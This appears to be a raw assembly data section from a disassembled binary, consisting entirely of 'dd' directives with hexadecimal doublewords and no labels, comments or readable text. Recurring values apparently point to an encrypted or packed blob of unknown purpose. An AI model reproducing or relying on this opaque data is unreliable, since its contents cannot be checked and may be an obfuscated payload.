		dd 0EEE6E432h, 1EE387B2h, 1A99BBCDh, 156623BDh,	0A833E832h
		dd 0EA9977CDh, 753BAA33h, 852FEDB3h, 48F0826h, 1C668832h
		dd 5F53F83Bh, 0B22FB98Bh, 8E56FC17h, 0E1EEB644h, 30E3CF53h
		dd 0FC600902h, 15661139h, 0DC373833h, 31F198ACh, 9EBCD433h
		dd 3E48F4A7h, 0D4E7E834h, 6739219Bh, 31C4C9B3h,	96074E01h
		dd 21EF8CDEh, 94061F16h, 0D79548D0h, 73067001h,	73E4678Ch
		dd 42078AB9h, 1566248Dh, 798D9032h, 144A8D16h, 79A5C5C9h
		dd 4A4A2716h, 4037EDC7h, 15668A8Fh, 488FCD32h, 0C65D333h
		dd 19E41E6Bh, 1A668832h, 156642BCh, 15E02D32h, 2E661132h
		dd 31E487EAh, 75664432h, 4403C4B3h, 2E073FC6h, 5EE087E8h
		dd 0FC99BBCCh, 1566223Dh, 18AE0D89h, 9F19890Dh,	6E774920h
		dd 94669566h, 713B0DF1h, 25A50951h, 3C46B512h, 258DA3C9h
		dd 9446E012h, 713B94D9h, 14EC4B51h, 0ED662232h,	9C62FDB1h
		dd 13DEAC36h, 3C664432h, 1E8F7AF1h, 81661132h, 19F1DC29h
		dd 37196DBDh, 0B8001E18h, 156619DBh, 0AD1C2732h, 4D46CE97h
		dd 156FCBB6h, 6BB1132h,	468110AAh, 73BC2171h, 14E82D99h
		dd 0ED661132h, 15462C5Ah, 3162CD32h, 0FC3D7A61h, 15661123h
		dd 6D128980h, 0F03BFD86h, 0CFFA6E57h, 3CDA6C20h, 68F23ACh
		dd 18664432h, 7F7392B7h, 7EB0B4FEh, 315D610Bh, 8F534817h
		dd 0AE357E88h, 15661136h, 9ED5633h, 11A2C516h, 0FC662232h
		dd 1566113Fh, 0CA03FE12h, 0CD5B1D99h, 7C24B98h,	315A9865h
		dd 1567053Dh, 9C9A4432h, 756A0646h, 1569F8CEh, 1328832h
		dd 3EE97A55h, 6709C1A9h, 0ABFA81E9h, 0A0EFE997h, 134D742Bh
		dd 1568CB52h, 0A081132h, 71E3F1C6h, 0EEA33365h,	7BFA029Ch
		dd 3152EE53h, 11A2096Dh, 0ED664432h, 40423EB9h,	0D0E7F4BBh
		dd 15668836h, 156281B3h, 39E12232h, 138F4D16h, 0E7668832h
		dd 0B55EC5DEh, 0E3DE427Ah, 7548BA31h, 1C8F7BB9h, 14664432h
		dd 1BDD4E04h, 7F1BB14h,	2199E953h, 0D1E51D16h, 1AEF2D36h
		dd 0FC661132h, 15668838h, 1BE03403h, 0A3AD08F9h, 21EDC127h
		dd 0F3EFDE16h, 156282B3h, 0D3E72232h, 15661136h, 4942BCB5h
		dd 0F4EF15CBh, 1562E3B3h, 0D4E51132h, 316ABB36h, 26424803h
		dd 1A3A063Eh, 156616B3h, 14E68732h, 0ED664432h,	0EAB908DBh
		dd 90A1EDCDh, 13541133h, 15664430h, 1561A53Dh, 9F691132h
		dd 15668833h, 0E7EF16C7h, 3152A360h, 28CC14ADh,	8A950969h
		dd 4F5BEE37h, 1BD02DCBh, 959F91CAh, 15E80B3Dh, 1F8F4432h
		dd 51662232h, 0EBDECC01h, 0E22D1832h, 288DC594h, 14375F01h
		dd 8ADF40F9h, 0E22C3172h, 9DA7C5E3h, 0E229086Ah, 0CF8F90E3h
		dd 14CC9986h, 0FC061DF9h, 15662238h, 9BA1C0D6h,	87B4DB9Ah
		dd 42071126h, 1566238Dh, 4A9D1032h, 15636152h, 0D9D14432h
		dd 735A66D2h, 74778B8Ah, 15668EDBh, 26960632h, 0FCD55AFBh
		dd 15661191h, 156684DBh, 49447532h, 399CC07Bh, 0C1ED7625h
		dd 18E887E3h, 0FC664432h, 1566223Ah, 0CAAE9F15h, 0A2EA7DE6h
		dd 156CEA5Ah, 317AAB32h, 0EC4EEE85h, 14E58769h,	0ED664432h
		dd 0AB3071CEh, 47BB5FDDh, 94616EF3h, 0B211C4DCh, 4B95AB5Ch
		dd 0CCEFDA1Bh, 156E6169h, 61DE4432h, 2560BAF3h,	423683C8h
		dd 1901E08Dh, 4B89C54Ah, 9C057E7Ah, 0F5A74ECAh,	0FE43C034h
		dd 0D4190317h, 0F64326DAh, 202F5D45h, 1526F8CFh, 0ED3E8513h
		dd 47FCE1B3h, 0D6E77318h, 1DFEF889h, 0FEE78F1Bh, 1DFE5289h
		dd 47FCFAB3h, 9E93EA18h, 3E5661B7h, 18EB2D34h, 75661132h
		dd 1566073Dh, 92D84432h, 7456C286h, 3B8384B9h, 1B8F8E19h
		dd 81664432h, 270DD3A6h, 1B1B15CAh, 9340FA02h, 0F0DBC766h
		dd 14600939h, 112B953Dh, 96698832h, 15664425h, 1576CB52h
		dd 447C1132h, 9B8D0FC1h, 0C332C8F6h, 0D9F3E136h, 2C07EF4Ch
		dd 3DE487F1h, 0E9664436h, 9769F10Bh, 0EA99EBD0h, 17EE8752h
		dd 9F664432h, 58F43C6h,	1A661136h, 15669CB1h, 1569AD32h
		dd 0D14D2232h, 584AA9F9h, 0D7227626h, 0CB7BC701h, 14E3E555h
		dd 176023ABh, 75668832h, 75B6F33Dh, 1566A83Dh, 749F1132h
		dd 118A0B53h, 4E4270BBh, 1A9A4252h, 156611B0h, 1D8EE932h
		dd 0B2664432h, 0BD415FEDh, 957A6D90h, 743DA9F3h, 1A68F23Dh
		dd 156623BCh, 0ECE6E832h, 92E587B2h, 0FC664432h, 15662234h
		dd 6317EA14h, 0D6E7EB36h, 5C8A6845h, 6F6DE1B3h,	0DE673007h
		dd 6F6D63B3h, 0FEE76507h, 5C8A0E45h, 157E983Dh,	68F8832h
		dd 5E664432h, 0F5DEAD07h, 68984E42h, 699C1A42h,	0F210D606h
		dd 0AF34FDA3h, 26214608h, 0F7A75AC5h, 0DFE70631h, 7E584F33h
		dd 9460FBF3h, 5564CBC0h, 4FB56DCCh, 9169D752h, 15661134h
		dd 8B5269B3h, 0FC0745B7h, 15662282h, 156A9D3Dh,	128F8832h
		dd 16664432h, 434C3E8Fh, 46344601h, 0EBEE4F85h,	9288C469h
		dd 0E3E6E4CCh, 4F97398Ch, 156B61CEh, 8D2B4432h,	774FFAB0h
		dd 0E5A9FFF9h, 0E29CD034h, 14A7C5E3h, 75662232h, 138FDFB8h
		dd 0D7668832h, 0BC67AECh, 0AB3043F5h, 156611CDh, 21ED7913h
		dd 11A2C516h, 75662232h, 15E71E52h, 0FC668832h,	15664420h
		dd 0E352A2ABh, 1C2366E5h, 0BE115572h, 7A5BC243h, 0AD07981Eh
		dd 24122E6h, 3DD9DF53h,	0D410F951h, 0D2E726DDh,	2C073057h
		dd 94626FF3h, 12FD8DDh,	0FAE76518h, 0CD0D043Eh,	3C39731Bh
		dd 0DCA5C5F9h, 0E06C7228h, 254394B9h, 93698E19h, 15664433h
		dd 0F0F3A9CEh, 0FC603A1Ch, 1566883Ah, 55BBCF4Ch, 53243553h
		dd 1E83ACB1h, 1A678E19h, 156412B6h, 0CD5DDB32h,	156C933Dh
		dd 2C9F8832h, 12E04BE1h, 0E099DDCBh, 1567AA61h,	0CB4F8832h
		dd 0A235B169h, 0E591A203h, 9D28D6B2h, 138FD3CAh, 19664432h
		dd 9D1E2F3h, 0FCCCE416h, 15668826h, 71DD16DAh, 53F5970Fh
		dd 7C831862h, 640B677Fh, 157A582h, 0B7DC7062h, 0E217C71Fh
		dd 768C09E0h, 94572162h, 2E1824F0h, 4FB69891h, 1DEC7833h
		dd 156CAD6Ah, 0C3332232h, 691EFDA9h, 118EA980h,	156654DBh
		dd 189CEF32h, 6499A6DBh, 0D8098C80h, 230F7864h,	0BED07036h
		dd 0E566C482h, 96429CB9h, 108F40F6h, 0A662232h,	27CF814h
		dd 9C6264B1h, 0BCD66036h, 0D4464436h, 0CE91E6Ah, 0FC668832h
		dd 15664426h, 0E3B2E8B2h, 27EB9385h, 9CE39A8h, 718B5515h
		dd 62A57C0Dh, 7306D93Ah, 0BF075FB9h, 15664DDBh,	11FAB432h
		dd 5B34593h, 0D6E7CFF5h, 5CFB5D27h, 0AA31D91Bh,	5CFB0827h
		dd 0EC39731Bh, 10EDFC62h, 895303F9h, 3023AE1Fh,	7ADB8DB8h
		dd 0D1439CC5h, 30135A2Ch, 69893CCAh, 5D6A341Fh,	4DA56D22h
		dd 24BE13C7h, 0FCBE20F1h, 15668821h, 0AECCB67Dh, 0E4D8F26Eh
		dd 0A08D55DFh, 0B526043h, 0EC8B2981h, 156CCB99h, 0D1A51132h
		dd 6B208191h, 9E97F082h
		dd 15649860h, 0C3671132h, 94429CB9h, 156640F6h,	156BCB32h
		dd 1FB61132h, 2D98286Ch, 81EAC085h, 9CB5E87Bh, 3E560887h
		dd 19D9E834h, 1A5B4DA4h, 0D207D08Dh, 3E6DF4B7h,	15668934h
		dd 19E24B32h, 1A662232h, 156617B9h, 15EA8732h, 47664432h
		dd 0D7E77866h, 15661136h, 92624AB1h, 753A6026h,	8006F0B3h
		dd 9ADD4876h, 7417D721h, 434258B9h, 0D3E7C4BBh,	15661136h
		dd 15624EB3h, 21E14432h, 75937E16h, 156D903Dh, 108E8832h
		dd 87664432h, 0EA344688h, 2199706Ah, 0D1E5D116h, 1FEC4B36h
		dd 75662232h, 1566953Dh, 0DFEC8832h, 118AC753h,	9C4216BBh
		dd 11A090D4h, 96668832h, 21E140F4h, 9D697E16h, 15661133h
		dd 7352E0CAh, 21EF4432h, 9480AB16h, 156615F4h, 11A00B32h
		dd 494270B5h, 156EA43Dh, 90691132h, 15668830h, 798F2552h
		dd 7599DDEBh, 62EA854h,	156F6153h, 8A1C4432h, 594C7043h
		dd 4455ABE9h, 0EA99778Bh, 4CA845CDh, 0FCD470CAh, 1EDC1BAh
		dd 11A20916h, 1A664432h, 15662EB6h, 13EB1E32h, 1A668832h
		dd 156644B4h, 0FCCCDA32h, 15661137h, 0F732829h,	65A62CD9h
		dd 21EF2232h, 73064916h, 72F748B3h, 156654DBh, 0AC127232h
		dd 0E6C74CAFh, 0AF7742E5h, 0EC77DFD3h, 0AB30435Bh, 3EA90427h
		dd 3C387833h, 7369CAh, 1A0609FDh, 9407C985h, 15668CDEh
		dd 317ACD32h, 15662689h, 4EBE3832h, 157F003Dh, 18F4432h
		dd 51662232h, 0B690395Fh, 0F591BD71h, 70330ECBh, 208A240Eh
		dd 0BE52B4C8h, 15710A3Dh, 1A064432h, 156622BFh,	156CF832h
		dd 21098832h, 36EB0975h, 9D5A4540h, 0F7EF4353h,	15624AB3h
		dd 0D7E54432h, 61997036h, 9A3C1516h, 0ED3AAC36h, 454258B9h
		dd 1163C2BBh, 96661132h, 11E18CF2h, 0EA9A1816h,	943F0606h
		dd 156615F6h, 9E9E7132h, 9C316006h, 11A1A3D5h, 96661132h
		dd 29E18CF5h, 73061816h, 74E0EA89h, 44809864h, 15668C8Bh
		dd 4CA84532h, 9262E4B1h, 1A3A3506h, 156685BBh, 94002432h
		dd 1ACB5FC3h, 156611B9h, 268FE932h, 0E099BBE9h,	8C67A7F5h
		dd 15631700h, 439F8832h, 1B4240B3h, 4E513A42h, 6568AE65h
		dd 0EE4FBF2Ah, 1DE54B6Dh, 1A662232h, 156613B7h,	4007E832h
		dd 1566405Ah, 0FE677F32h, 1C8FE86Fh, 68668832h,	0FB0A9F5Ch
		dd 94BAF218h, 1562FDB3h, 1EF8832h, 1566FE16h, 0E7672232h
		dd 753C0B31h, 156699DBh, 4757B332h, 5C6E50D8h, 0D7814094h
		dd 86E8C8F6h, 9E072E63h, 3E5607B7h, 19EF1E34h, 1A668832h
		dd 156642B1h, 15EB2D32h, 9E661132h, 3E486DA7h, 1575AD34h
		dd 747F2232h, 9BB594DCh, 0DD91A52Eh, 8CA349ACh,	4005356Ah
		dd 14DE4176h, 3C668832h, 95061CF4h, 1C8E42D9h, 0E9661132h
		dd 0B5C42C0Bh, 5259E760h, 96077BCAh, 3E404C8Fh,	91698934h
		dd 1566427Ah, 38AFA352h, 0FD3A910Ah, 15668837h,	0BDCE092Ah
		dd 5AE599CFh, 7438204Ah, 97695009h, 1566442Fh, 1ABC19CBh
		dd 156705B4h, 15696132h, 0B0F64432h, 0FA96CC20h, 993F39C4h
		dd 0BD6D72E9h, 0CD3CDD4h, 75600902h, 0AB95D9B3h, 9E07F6D1h
		dd 27FF45AFh, 156FCB34h, 2DA71132h, 9E28A952h, 1AE5E5BFh
		dd 156623B3h, 0AB30E932h, 3F54F01Eh, 542301Bh, 313A236Ch
		dd 3122903Eh, 271EA43Eh, 14E64B18h, 0ED662232h,	1563AEDBh
		dd 18EE832h, 12664432h,	0D2F2D03Bh, 1A6A06E9h, 500BF3CAh
		dd 7FBA6745h, 0A2FEA8BFh, 85DE4872h, 74741EF9h,	444278B9h
		dd 0D4E7C3BBh, 15661136h, 926249B1h, 0FC3A603Eh, 1566223Fh
		dd 9B83CDE6h, 0D22F73ACh, 2970C644h, 48E3E59Bh,	14603A14h
		dd 0E9668832h, 424258B9h, 0D2E7C5BBh, 15661136h, 92624FB1h
		dd 0E93A600Eh, 4C4216CDh, 1562D5B3h, 99698832h,	15664438h
		dd 35DF4452h, 23DF773Dh, 2199E991h, 0D1E51A16h,	1FE82D36h
		dd 0FC661132h, 15668837h, 611F6149h, 0F5EF7222h, 15661537h
		dd 11A60B32h, 3112BB62h, 11E97A36h, 0FC934D16h,	0EA995E21h
		dd 0F0DBC7C7h, 14600939h, 1198953Dh, 1A068832h,	156645B2h
		dd 0C3E6DE32h, 884D70E3h, 134DB817h, 15664CDBh,	64CAD932h
		dd 35BDB373h, 30EB03B1h, 75606F27h, 188FCF84h, 0A7661132h
		dd 0D3AD92C7h, 0CAE9D63Dh, 0C70F62A7h, 1AEE1E53h, 0FC668832h
		dd 15664438h, 838BF987h, 0D88510C9h, 0FCE733B0h, 417B1C7Bh
		dd 0A833FB33h, 13820A68h, 58F66DB3h, 0E0E70003h, 455B736Bh
		dd 1A3BF833h, 15668FB8h, 14EF4B32h, 0ED662232h,	19EAC67h
		dd 0FC67F78Fh, 949F6D6Fh, 0A872DADBh, 18EE1E4Dh, 0FC668832h
		dd 1566443Ah, 0A549E2BBh, 30606ADh, 1563E065h, 3C394432h
		dd 469E7DCBh, 0CDEEF881h, 964294B9h, 9A6940F6h,	1566223Ah
		dd 1564943Dh, 74068832h, 0B80EBC98h, 9C662207h,	4D373536h
		dd 0EDCD7D6Bh, 9487CD63h, 156626F3h, 11A79232h,	9E4284B5h
		dd 1E8F6016h, 4A662232h, 0FF04FF46h, 0CF0AEF10h, 9EDD6B0h
		dd 0F7EF7016h, 1562D3B3h, 0D7E58832h, 3172C336h, 9069DB6Eh
		dd 15661133h, 316A03C7h, 9483CD67h, 156626F7h, 11A39032h
		dd 92668832h, 1A3A601Eh, 15662FB6h, 156EF832h, 49318832h
		dd 0EA2B3D5Eh, 21ED5605h, 0F4EF4016h, 156249B3h, 0D4E54432h
		dd 316AA536h, 156EF86Eh, 0ACD18832h, 0EEB12EBCh, 429E5EA2h
		dd 0AD36F6BBh, 5E4592AEh, 0FF1697Ah, 0D2676911h, 11A1926Ah
		dd 4942B4B5h, 7C28FC52h, 749F31F6h, 0EAB188DBh,	90A174CDh
		dd 1354DD33h, 15662230h, 528E79C7h, 29EF8832h, 9C91CD16h
		dd 0E9067DC9h, 15649B3Dh, 0CBED8832h, 1BD04B53h, 156EA73Dh
		dd 9D691132h, 15668830h, 0ECE62552h, 42E52DB2h,	0E0661132h
		dd 40D43052h, 0FC3709F1h, 15662220h, 0F9B1647Ah, 68E88A06h
		dd 514A8572h, 6A44B07Ah, 743F6417h, 25B263B3h, 0D6E72153h
		dd 64C773C7h, 0FEE7DA33h, 64C7D9C7h, 25B287B3h,	91694753h
		dd 15661133h, 38F574CEh, 0EA99BBCDh, 0D88FDBA1h, 1A661132h
		dd 156689BCh, 4735B132h, 0DFE63580h, 1D84D198h,	0DF985AC4h
		dd 9DE6B6B2h, 0DAE678E5h, 95B9E7BDh, 0EC4E76F5h, 14E04B69h
		dd 0EC662232h, 1567943Dh, 5C9F8832h, 3172B363h,	9869D76Bh
		dd 15661127h, 156698DBh, 15279B32h, 0CD2946CFh,	8A867C1Eh
		dd 144E0675h, 0D7DC1620h, 4315F349h, 558788Ch, 0D4B07F59h
		dd 0F3A747D4h, 4480A331h, 94659D2Dh, 0F4500DDCh, 0DC90C521h
		dd 2489C6CCh, 0E7E74FC0h, 69ADFAF4h, 3884B6B3h,	0E7E70B75h
		dd 33410599h, 753C5913h, 15664DDBh, 3994432h, 0D045FFA5h
		dd 0BCD4F56Dh, 13D81253h, 9405262Eh, 972FD2FCh,	11884914h
		dd 0C758AB3h, 0D3E7078Ch, 0ED95DC41h, 3C387B1Bh, 47A5C5F9h
		dd 0E046D079h, 254394B9h, 9E938E19h, 3E48A1A7h,	8B8FDE34h
		dd 1A99EEC9h, 156680B0h, 73932432h, 35F4C1B3h, 14E3D653h
		dd 1760BAABh, 75664432h, 1A35EAB9h, 743FCF85h, 6CD8DE64h
		dd 240B2926h, 4B620646h, 6C959069h, 0FC0BE526h,	1566443Ah
		dd 769BDBBFh, 23D9FF49h, 1568033Dh, 1C8F4432h, 23662232h
		dd 16EF257Bh, 0FFB19B30h, 1A68F23Dh, 156625BAh,	14EB1E32h
		dd 0E9668832h, 959FC4C7h, 1522A13Dh, 0EC931132h, 4B653062h
		dd 0B04B39ADh, 3C7B5D1Fh, 0DE6749F1h, 25384BB3h, 1E8F2412h
		dd 3F662232h, 0CBFC803Ah, 0A72E6CF4h, 449AF687h, 1566238Bh
		dd 4CAD1032h, 15668FDBh, 0FA870232h, 0B87A2C63h, 1566BFDBh
		dd 540E7432h, 9C66441Ch
		dd 0A5D20636h, 0D1E6DDCCh, 4D87A062h, 15664BDBh, 6F724B32h
		dd 778C338Dh, 0A12A15BCh, 0AAED74CFh, 15669C64h, 0DB4F1132h
		dd 21ED79BBh, 11A2C516h, 1A662232h, 156616B9h, 14E68732h
		dd 0E0664432h, 15999961h, 0CC471132h, 944294B9h, 156640F6h
		dd 156ECB32h, 5A471132h, 15310F6Dh, 0AF341D01h,	2CFE02C9h
		dd 7CF2F3B3h, 0D7E7BBC5h, 5B4510C3h, 3904D0B3h,	0FFA740FBh
		dd 0C08C0930h, 946CE14Eh, 6AF874D8h, 4FB510B5h,	0FEE7431Bh
		dd 6C1F3F7Fh, 156630DBh, 5176ED32h, 0A804FBDEh,	0D7EC1D7h
		dd 687A9C07h, 9EBD7D64h, 3E56ADB7h, 1569AD34h, 885A2232h
		dd 6296D7D0h, 2FF3F156h, 411ADECDh, 0F0F3A934h,	1A603A1Ch
		dd 156691B7h, 78F2432h,	10662232h, 4ED3E4DDh, 7B18340Eh
		dd 9AA21B64h, 0EE8FAE3h, 94067084h, 0B99347EBh,	13E34B22h
		dd 1A662232h, 156611B8h, 0A8E5E932h, 134D4FD7h,	15E22D33h
		dd 0FC99EECAh, 1566883Eh, 0E9584636h, 3D7652F9h, 1B068E11h
		dd 97695009h, 1566442Bh, 1AB51BCAh, 0EA88B0B4h,	9E00E8CDh
		dd 1560ADF3h, 16862232h, 3B414239h, 0EADED853h,	201A7C7Eh
		dd 8B369EBh, 0FDB7F9E3h, 6E27421Fh, 4DA0452Ah, 0E5ED4452h
		dd 745EC5B2h, 31520964h, 3D97099Bh, 4AD9756Bh, 0D4634E4Eh
		dd 0FAA78AD5h, 0CA81C53Ah, 94009C34h, 37D139DDh, 4A9FB9E5h
		dd 4A90C552h, 0AB570B8Ch, 40A58DF7h, 34A70953h,	942DA124h
		dd 8D4632F3h, 949F380Bh, 8D4698DBh, 348FC50Bh, 0FC2DC724h
		dd 1566113Fh, 0F58256BAh, 9F6FCBDEh, 895135CEh,	0AC3743E5h
		dd 5E1BAB54h, 5555A5B3h, 0FCE70ED1h, 15B93D9Ah,	0C61979B3h
		dd 0DFEF43B3h, 4FB70B6Bh, 156BF852h, 0B3FB8832h, 9298ED1Fh
		dd 0FE80BBEh, 1AFB8E44h, 0A5074185h, 0EBF460E0h, 11920EF2h
		dd 1A0C15D2h, 156689B7h, 75CCBD32h, 0E4A8A252h,	15669C3Dh
		dd 75078832h, 1566C23Dh, 99692232h, 15661132h, 4436E953h
		dd 316ACF6Ah, 0FC62E6B1h, 15661134h, 153F6C2Fh,	0FCCD4697h
		dd 15662235h, 73D5B8EAh, 0FCD8F6BEh, 0EA999700h, 156636DBh
		dd 322CB232h, 0C6A418Dh, 39631C75h, 7658513Ah, 0C7AD47C0h
		dd 1A8FE8E8h, 0B1664432h, 0AE1B2947h, 0E50117ABh, 416CAEDCh
		dd 0CAE70056h, 6DCCCF0Bh, 15DC4353h, 14668832h,	9E64CEC0h
		dd 0D1E70626h, 15661136h, 156685DBh, 637E0732h,	1968F3Fh
		dd 60E89B41h, 0FD5AD40Fh, 154BC03Dh, 9C692232h,	15661133h
		dd 5C6B30CBh, 0FDA75C28h, 277A2737h, 0F5A70F72h, 35DFD931h
		dd 249E4C11h, 0AF067BFAh, 21538EA9h, 14CD6153h,	7D9F4432h
		dd 15666B2Fh, 1A420DBBh, 15669BB0h, 1568AD32h, 12562232h
		dd 0A0B62822h, 0BEF0157Ah, 0DAAA7054h, 15662ADBh, 0DDF80C32h
		dd 0FA1022FDh, 1BA72CEEh, 21EF2232h, 1A064A16h,	15668DB9h
		dd 0D2E72232h, 0F7D58B6Eh, 14DE4153h, 10668832h, 12DC62ADh
		dd 8A4BD233h, 1661AB14h, 7406D02Ah, 0DDE1464h, 0C416791Dh
		dd 436E34DAh, 0FC43F7C1h, 3845900Fh, 35663631h,	143ED7BBh
		dd 9069D6C1h, 15664433h, 0A13670CEh, 1D82D16Fh,	9DCD7CB2h
		dd 56D61CD0h, 0FC3CF202h, 15661122h, 544958Dh, 5DB800F8h
		dd 7C6404Eh, 70E661E9h,	15756198h, 99FA4432h, 0F2AD431Eh
		dd 51354B5Eh, 0E0979E33h, 3BAF8595h, 1569CBA5h,	18841132h
		dd 6855ECD3h, 0DCC1561h, 0DC94DE45h, 0B4A590CBh, 3C165669h
		dd 6BDC16C9h, 94661B09h, 151212F0h, 0CAAC0977h,	9453F74Ch
		dd 373DE0F0h, 4FB538C9h, 11D8DECAh, 94664432h, 8B2269F1h
		dd 9495380Eh, 8B22C3D9h, 45931A0Eh, 3162A961h, 1562D5B3h
		dd 1A3D8832h, 156643B2h, 0FDE64232h, 74819BB9h,	14EE8799h
		dd 0EC664432h, 42423EB9h, 0D2E7F6BBh, 15668836h, 926283B1h
		dd 0EC3A060Eh, 1563AE65h, 0FBE78832h, 47D534FFh, 0D3E7DC33h
		dd 47D561FFh, 0E6876Dh,	1A664432h, 15662DBFh, 156CF832h
		dd 1B848832h, 84279A1Dh, 552463A3h, 83D84760h, 0AF068237h
		dd 9011EECh, 0D438D003h, 0DFE719D8h, 1B7BB38h, 95C486B3h
		dd 0C5EFC930h, 0FC307168h, 1566883Ah, 96EE47DDh, 0D22577D2h
		dd 0CCD11E6Dh, 0AE064B53h, 3A910FA3h, 15662CDAh, 23255F32h
		dd 0C114565Ch, 43EA1A0Ch, 4D34D38Fh, 0F4EF4053h, 156249B3h
		dd 0FCE54432h, 316AA536h, 316A986Eh, 0EA0071C7h, 11E72204h
		dd 73636B16h, 944215B9h, 15668AF6h, 5C4B2232h, 78E4237h
		dd 5D661132h, 0E598A017h, 0AAC93A6Dh, 0EB3DDD33h, 0BD122073h
		dd 6EDEEEBBh, 9E001D06h, 0D65A43E5h, 1471953Dh,	58F8832h
		dd 7664432h, 7009EE66h,	4688167Ch, 0FD9950AAh, 295D2BF0h
		dd 0EFE22DF9h, 0ED661132h, 91694A0Eh, 15664525h, 157EA73Dh
		dd 68F1132h, 5C668832h,	0B35465AEh, 4D347D86h, 0C6032394h
		dd 7E99D95Ch, 0DF5A88A2h, 1597A63Dh, 0FC061132h, 15668834h
		dd 0C50A21F7h, 9400E4DCh, 74E9C9FBh, 3099B554h,	1472C03Dh
		dd 9A692232h, 1566113Eh, 15600D3Dh, 97694432h, 15662232h
		dd 0EA482C54h, 15590D3Dh, 0E9064432h, 17DC7053h, 14661132h
		dd 9E6402C0h, 0D1E56026h, 0A734D736h, 9EB631C2h, 0D1E7AC26h
		dd 15664436h, 0D6ED4452h, 2907A382h, 0EDE28792h, 0ED664432h
		dd 15662ADBh, 60ECD932h, 0ADFEBB23h, 316ACF41h,	9481AB65h
		dd 156615F5h, 11A10932h, 92664432h, 0FC3A060Eh,	15661137h
		dd 38AB146h, 15662CC4h,	11ED2232h, 11A29216h, 156682DBh
		dd 85927C32h, 1F2C0EEDh, 0FC1EFB92h, 15668907h,	156654DBh
		dd 0ED6D0832h, 62B2E075h, 46B4322Ah, 0B5EF57AEh, 0E9AF1341h
		dd 0EA99AF64h, 0E44F77CDh, 0E2ED246Ch, 1563A33Dh, 68DF1132h
		dd 74716AFAh, 1566DCDBh, 1A934232h, 7D07C385h, 15668831h
		dd 944248B9h, 156626F6h, 0DEED7132h, 15669CDBh,	4CFE3E32h
		dd 68419AEEh, 875DDE8Dh, 14537531h, 884BD6A7h, 778F431Bh
		dd 0FC661132h, 15668838h, 48F57EC3h, 58935535h,	0F9E5FDF1h
		dd 31520136h, 0F156755Ah, 0E3E77C29h, 495656EAh, 628566B3h
		dd 0E4EF03E6h, 0AE00426Ch, 0FC07984Bh, 1566881Fh, 156642DBh
		dd 3C1CD432h, 7DD8ADCEh, 15668835h, 944248B9h, 156626F6h
		dd 1C8F7132h, 51668832h, 0BB289E82h, 0C23A50Fh,	52BCAF54h
		dd 75C27B53h, 0EFED22C7h, 0F0EBA953h, 75603A1Ch, 0FDB50954h
		dd 0DCE32582h, 1571A73Dh, 1A061132h, 15668BB3h,	0E6ED2232h
		dd 60B55C8Ch, 0A0EF7050h, 134DA6D7h, 3152BBCAh,	11A2A36Bh
		dd 0FC661132h, 1566883Dh, 0FA476798h, 0D987C723h, 0B1968C58h
		dd 46BADDD9h, 15664589h, 39E77132h, 11158E16h, 8A63D014h
		dd 4E404041h, 7393E1CEh, 4D0027CDh, 1AA5B4CBh, 15678EB6h
		dd 19E12D32h, 1A661132h, 15668EB9h, 15E54B32h, 7D662232h
		dd 1566407Dh, 9D4284BBh, 4C8DCCF7h, 156630DBh, 1C8B2532h
		dd 0D4C8C28Ah, 79263620h, 1001E32Fh, 44C267E3h,	0FCE69F83h
		dd 95BFB284h, 0E4E672D3h, 6B8F919Fh, 352961B2h,	316ACFF9h
		dd 1562E6B3h, 99691132h, 15668821h, 15664ADBh, 8E40D332h
		dd 0BAE9F3EEh, 0A40ABC74h, 952A4458h, 916952C9h, 156612BEh
		dd 1A8FB4CAh, 15670EB6h, 14EF2D32h, 0E9661132h,	9169630Eh
		dd 15664509h, 1561AF3Dh, 99691132h, 15668833h, 1AA478CBh
		dd 156704B6h, 0BE11E32h, 75668832h, 1566C03Dh, 48F2232h
		dd 48661132h, 0F39DB5C8h, 11EB5038h, 0E46607C2h, 39DF140Dh
		dd 1AADB453h, 1566BEB6h
		dd 1561CB32h, 94071132h, 0FEE86069h, 0EA5B2255h, 0F1E22D17h
		dd 0FC661132h, 15668834h, 2A929172h, 0DF5ABE9Ch, 15B7953Dh
		dd 29938832h, 14E24BD1h, 0ED662231h, 0EA482C54h, 151D0D3Dh
		dd 95694432h, 15662234h, 0A269E852h, 479EE9C4h,	568DFA64h
		dd 0D3E71600h, 59DE6F5Eh, 532056C5h, 0D73182B3h, 0E7EFA2D8h
		dd 9F94106Ch, 4793D230h, 9DE0F563h, 0D7E67BF8h,	2F8C9196h
		dd 1A3C5812h, 156657BFh, 1568CB32h, 15AB1132h, 0AE858FBBh
		dd 79D0D45h, 692085A6h,	1AC62DCEh, 1566D6B6h, 0CAED2432h
		dd 15662EDAh, 0EA5DCB32h, 0FCD681E7h, 0A5A3EE0Eh, 53B6A3E7h
		dd 4A404723h, 1566E053h, 11ED4432h, 11A2A316h, 0FC661132h
		dd 15668820h, 0A63DA642h, 0D9E71AAAh, 88272338h, 8B74FD27h
		dd 638FC565h, 0FC662232h, 15661121h, 1A999DADh,	36A6A987h
		dd 89E38345h, 200D93AFh, 9CC8C49Dh, 3E48A187h, 156DCB34h
		dd 293B1132h, 7935AA6Ch, 53B92EF4h, 6EFBAF56h, 0E0602087h
		dd 156680DBh, 84686832h, 0A9F54992h, 1AB5EED5h,	156689B9h
		dd 9E06B832h, 13E82DF5h, 1A661132h, 156688BFh, 0A8332532h
		dd 1F941A16h, 5BA7A863h, 0D857DB11h, 94B3B36Bh,	0C410C5F7h
		dd 488E986Bh, 96694BCAh, 15664433h, 37944ACEh, 11EF1132h
		dd 12E78716h, 75664432h, 1E499854h, 639970CAh, 31620322h
		dd 756280B1h, 0C9622B8Ah, 90EF7004h, 134D9483h,	11EDB1C7h
		dd 0F6EF7116h, 1562D2B3h, 0D6E58832h, 317AC336h, 1561CB6Eh
		dd 935C1132h, 0C32A3FC2h, 4535B17Eh, 15663E8Ah,	4DA59832h
		dd 1A3D5633h, 156645BCh, 0A8EBDB32h, 134D37FFh,	108F25CAh
		dd 56664432h, 1D7D9A42h, 0C1BA863h, 0DD678EA4h,	3122476Bh
		dd 0C1B0F16h, 1B8F17A4h, 0C4668832h, 9D7D7CE0h,	0A99CF019h
		dd 3A01EA2Eh, 94062303h, 0E516AC5h, 7306436Dh, 1A76548Ah
		dd 15668EB8h, 15ED4B32h, 74662232h, 5B3ACBFh, 92698E19h
		dd 15664427h, 156FCB52h, 8B41132h, 7A0CBE65h, 737A5621h
		dd 304EE0B3h, 108FBC53h, 0F9668832h, 0B28A9C3Dh, 21B99B63h
		dd 0DD674EEDh, 31228B6Bh, 21B96916h, 449E7DEDh,	0D4E7F0BBh
